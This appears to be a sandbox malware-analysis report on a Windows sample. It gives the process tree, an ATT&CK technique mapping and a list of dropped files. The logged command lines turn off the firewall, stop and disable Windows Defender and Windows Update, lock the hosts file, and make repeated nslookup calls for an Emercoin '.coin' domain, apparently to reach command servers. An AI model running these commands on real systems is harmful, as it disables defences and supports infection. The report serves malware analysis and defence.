- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin seed1.emercoin.com2⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin seed1.emercoin.com3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin seed2.emercoin.com2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin seed2.emercoin.com3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 161.97.219.842⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 161.97.219.843⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 163.172.168.1712⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 163.172.168.1713⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 94.103.153.1762⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 94.103.153.1763⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 207.192.71.132⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 207.192.71.133⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 178.63.116.1522⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 178.63.116.1523⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.77.227.842⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.77.227.843⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 188.226.146.1362⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 188.226.146.1363⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.75.173.1772⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.75.173.1773⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 79.124.7.812⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 79.124.7.813⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 144.76.103.1432⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 144.76.103.1433⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 5.132.191.1042⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 5.132.191.1043⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 13.239.157.1772⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 13.239.157.1773⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 207.148.83.2412⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 207.148.83.2413⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 165.227.40.432⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 165.227.40.433⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 142.4.204.1112⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 142.4.204.1113⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 142.4.205.472⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 142.4.205.473⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 198.100.148.2242⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 198.100.148.2243⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 159.203.38.1752⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 159.203.38.1753⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 66.70.228.1642⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 66.70.228.1643⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.254.25.1152⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.254.25.1153⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 185.84.81.1942⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 185.84.81.1943⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 89.40.116.2302⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 89.40.116.2303⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 94.16.114.2542⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 94.16.114.2543⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 193.30.123.442⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 193.30.123.443⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 5.189.170.1962⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 5.189.170.1963⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 217.144.132.1482⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 217.144.132.1483⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 217.144.135.72⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 217.144.135.73⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 217.144.132.1692⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 217.144.132.1693⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 217.144.135.22⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 217.144.135.23⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 195.10.195.1952⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 195.10.195.1953⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 172.104.136.2432⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 172.104.136.2433⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 94.247.43.2542⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 94.247.43.2543⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 45.71.185.1002⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 45.71.185.1003⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 151.80.222.792⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 151.80.222.793⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 92.128.52.462⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 92.128.52.463⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 87.98.175.852⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 87.98.175.853⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.75.125.292⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.75.125.293⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.255.211.1462⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.255.211.1463⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 104.238.186.1892⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 104.238.186.1893⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 178.62.107.42⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 178.62.107.43⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 139.59.6.1152⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 139.59.6.1153⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 89.36.210.1762⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 89.36.210.1763⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 212.237.22.1412⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 212.237.22.1413⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 193.183.98.662⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 193.183.98.663⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 192.71.245.2082⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 192.71.245.2083⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 108.61.161.1192⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 108.61.161.1193⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 142.4.204.1112⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 142.4.204.1113⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 146.185.176.362⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 146.185.176.363⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 51.15.98.972⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 51.15.98.973⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 188.213.49.352⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 188.213.49.353⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 91.217.137.372⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 91.217.137.373⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 185.117.154.1442⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 185.117.154.1443⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 176.126.70.1192⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 176.126.70.1193⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 206.189.168.32⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 206.189.168.33⤵
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 178.128.183.1752⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 178.128.183.1753⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 63.231.92.272⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 63.231.92.273⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 128.31.0.722⤵
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 128.31.0.723⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c nslookup -qt=A 0x00x1.coin 35.211.96.1502⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\nslookup.exenslookup -qt=A 0x00x1.coin 35.211.96.1503⤵
- Unexpected DNS network traffic destination
-
-
-
C:\Windows\cccbembg\eremzhg.exeC:\Windows\cccbembg\eremzhg.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\system32\cmd.execmd1⤵
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\Fonts\elriegs.exe1⤵
-
C:\Windows\Fonts\elriegs.exeC:\Windows\Fonts\elriegs.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
6Clear Persistence
1Clear Windows Event Logs
1File Deletion
4Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Network Share Discovery
1Peripheral Device Discovery
3Query Registry
8Remote System Discovery
1System Information Discovery
8System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
_README_Yurei.txt
e5d0812.rbs
_READ_ME_.TXT
7-zip.dll
akira_readme.txt
Processes.txt
Processes.txt
Processes.txt
Processes.txt
Processes.txt
Software.txt
settings.dat
f_000069
the-real-index
HubApps
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
Local State
Local State
Local State
Local State
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
logo[1].jpg
egvwis4b.newcfg
user.config
Cookie.txt
Cookie.txt
DebugLog.txt
FB_Resource.txt
process_running.txt
__PSScriptPolicyTest_etjgoos3.jki.ps1
hentai.exe
szgfw.exe
2025 11 30 - 12 50 PM
update1.exe
update2.exe
028064da75bc36bb36ca2c02744da60fceb33fabcbee02ddae76ff35332208fe.exe
02WLPQTDGE.msi
03d34f5a53aa870c9aee05a54c1d258f013f8e86ff71434e8137e747a77f020a.exe
04e768174636f0a5be42e9cee5974a8b9db2832d4e79cc973ad617185ab80595.exe
0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe
0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe
12bd6f8e298e25c036f3bd4716edcb486d78a3c8f33af1f2d74439ebbcbf5434.exe
1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe
1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe
2025-07-15_9fdd329535a395b3287bf94308c76785_elex_stealc_stop_tofsee_upatre.exe
2025-11-05_d1c0f450fd12161c126de8f17a8c1810_cobalt-strike_coinminer_dosia_luca-stealer_njrat_poet-rat_quasar-rat_snatch.exe
2025-11-05_d1c0f450fd12161c126de8f17a8c1810_cobalt-strike_coinminer_dosia_luca-stealer_njrat_poet-rat_quasar-rat_snatch.exe
2025-11-10_423504692acf78cecd61922d89b87a1d_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat.exe
2025-11-11_895016d46d81fa30da9122e4abab6660_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat.exe
2025-11-12_66b597d27d0554b1504430138369859b_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat_smoke-loader.exe
2025-11-12_6ab017c1b7d68321880fed7736122a20_cobalt-strike_conti.exe
2025-11-12_9e11b0e463c9998ddbf018922648ef7e_amadey_cloudeye_elex_emotet_glassworm_hacktools_icedid_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe
2025-11-12_a787c0932def56cc7b85e6888e67bb87_amadey_elex_smoke-loader_stealc_stop_vidar.exe
2025-11-13_5dce91e6d4ecc2af605e2eaf5537cb90_amadey_cloudeye_elex_emotet_glassworm_hacktools_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe
2025_Cotizacion Noviembre.exe
2128a68f2140e72e8cf42fae54a66f8eb228a5393744237cf2a04c72d0310188.exe
374ef83de2b254c4970b830bb93a1dd79955945d24b824a0b35636e14355fe05.exe
3a252ac37d78baad0a81242c0cb2bd68208c12267aa87d3cd3c5d594f1de27a5.exe
3d0edacb6d58c9674119460f71e535a1dd2566845b0f8a6bc97185b1ff9f3bb9.exe
439ff2060a600d666dafcf86f7ef8fea5ee0cca7e39521c986a3181d99ede61d.exe
4ffb7cec59276bc2e1fcbdf462b23fbfda1ebae6b0d388dbaaeed6a0cc706f88.exe
51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2.exe
53fb999c4ef195a5c37e80ad4208f7d3bd02951672462339cafd5c0463a6f2aa.exe
556eaf27dd7c9d5b1949766151b83035625e11dabcfe0259f7a927fb80f0145e.exe
settings.xml
settings.xml
settings.xml
settings.xml
settings.xml
_READ_ME_.TXT
update_log.txt
eremzhg.exe
elriegs.exe
_README_Yurei.txt
memory/1144-499-0x0000000002140000-0x0000000002141000-memory.dmp
memory/1144-500-0x0000000002140000-0x0000000002141000-memory.dmp
memory/1144-496-0x0000000002140000-0x0000000002141000-memory.dmp
memory/1144-497-0x0000000002140000-0x0000000002141000-memory.dmp
memory/1144-493-0x0000000002140000-0x0000000002141000-memory.dmp
